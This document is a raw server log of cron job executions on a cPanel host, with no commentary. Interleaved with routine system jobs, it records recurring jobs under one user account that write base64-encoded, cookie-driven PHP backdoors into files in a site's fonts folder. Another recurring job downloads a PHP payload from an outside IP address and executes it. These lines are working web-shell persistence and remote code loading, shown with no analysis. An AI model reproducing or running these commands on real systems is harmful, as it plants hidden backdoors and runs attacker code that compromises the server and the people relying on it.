Aug 30 10:05:02 ip-184-168-122-23 CROND[21948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:05:02 ip-184-168-122-23 CROND[21949]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 10:05:02 ip-184-168-122-23 CROND[21950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:05:02 ip-184-168-122-23 CROND[21952]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 10:05:02 ip-184-168-122-23 CROND[21954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:06:01 ip-184-168-122-23 CROND[22130]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:06:01 ip-184-168-122-23 CROND[22132]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 10:06:01 ip-184-168-122-23 CROND[22135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:06:01 ip-184-168-122-23 CROND[22134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:06:01 ip-184-168-122-23 CROND[22133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:07:01 ip-184-168-122-23 CROND[22228]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:07:01 ip-184-168-122-23 CROND[22231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:07:01 ip-184-168-122-23 CROND[22230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:07:01 ip-184-168-122-23 CROND[22232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:08:01 ip-184-168-122-23 CROND[22317]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 10:08:01 ip-184-168-122-23 CROND[22318]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:08:01 ip-184-168-122-23 CROND[22319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:08:01 ip-184-168-122-23 CROND[22320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:08:01 ip-184-168-122-23 CROND[22321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:09:01 ip-184-168-122-23 CROND[22408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:09:01 ip-184-168-122-23 CROND[22409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:09:01 ip-184-168-122-23 CROND[22413]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:09:01 ip-184-168-122-23 CROND[22414]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 10:09:01 ip-184-168-122-23 CROND[22415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:10:01 ip-184-168-122-23 CROND[22516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:10:01 ip-184-168-122-23 CROND[22517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:10:01 ip-184-168-122-23 CROND[22518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:10:01 ip-184-168-122-23 CROND[22515]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 10:10:01 ip-184-168-122-23 CROND[22519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:10:01 ip-184-168-122-23 CROND[22526]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 10:10:01 ip-184-168-122-23 CROND[22531]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 10:10:01 ip-184-168-122-23 CROND[22532]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 10:11:01 ip-184-168-122-23 CROND[22625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:11:01 ip-184-168-122-23 CROND[22624]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:11:01 ip-184-168-122-23 CROND[22626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:11:01 ip-184-168-122-23 CROND[22628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:12:01 ip-184-168-122-23 CROND[22708]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 10:12:01 ip-184-168-122-23 CROND[22711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:12:01 ip-184-168-122-23 CROND[22712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:12:01 ip-184-168-122-23 CROND[22710]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:12:01 ip-184-168-122-23 CROND[22713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:13:01 ip-184-168-122-23 CROND[22825]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:13:01 ip-184-168-122-23 CROND[22828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:13:01 ip-184-168-122-23 CROND[22829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:13:01 ip-184-168-122-23 CROND[22827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:14:01 ip-184-168-122-23 CROND[23073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:14:01 ip-184-168-122-23 CROND[23075]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 10:14:01 ip-184-168-122-23 CROND[23076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:14:01 ip-184-168-122-23 CROND[23077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:14:01 ip-184-168-122-23 CROND[23081]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:15:01 ip-184-168-122-23 CROND[23209]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:15:01 ip-184-168-122-23 CROND[23211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:15:01 ip-184-168-122-23 CROND[23213]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 30 10:15:01 ip-184-168-122-23 CROND[23214]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 10:15:01 ip-184-168-122-23 CROND[23212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:15:01 ip-184-168-122-23 CROND[23217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:15:01 ip-184-168-122-23 CROND[23215]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 10:16:01 ip-184-168-122-23 CROND[23309]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:16:01 ip-184-168-122-23 CROND[23311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:16:01 ip-184-168-122-23 CROND[23312]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 10:16:01 ip-184-168-122-23 CROND[23313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:16:01 ip-184-168-122-23 CROND[23314]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 10:16:01 ip-184-168-122-23 CROND[23315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
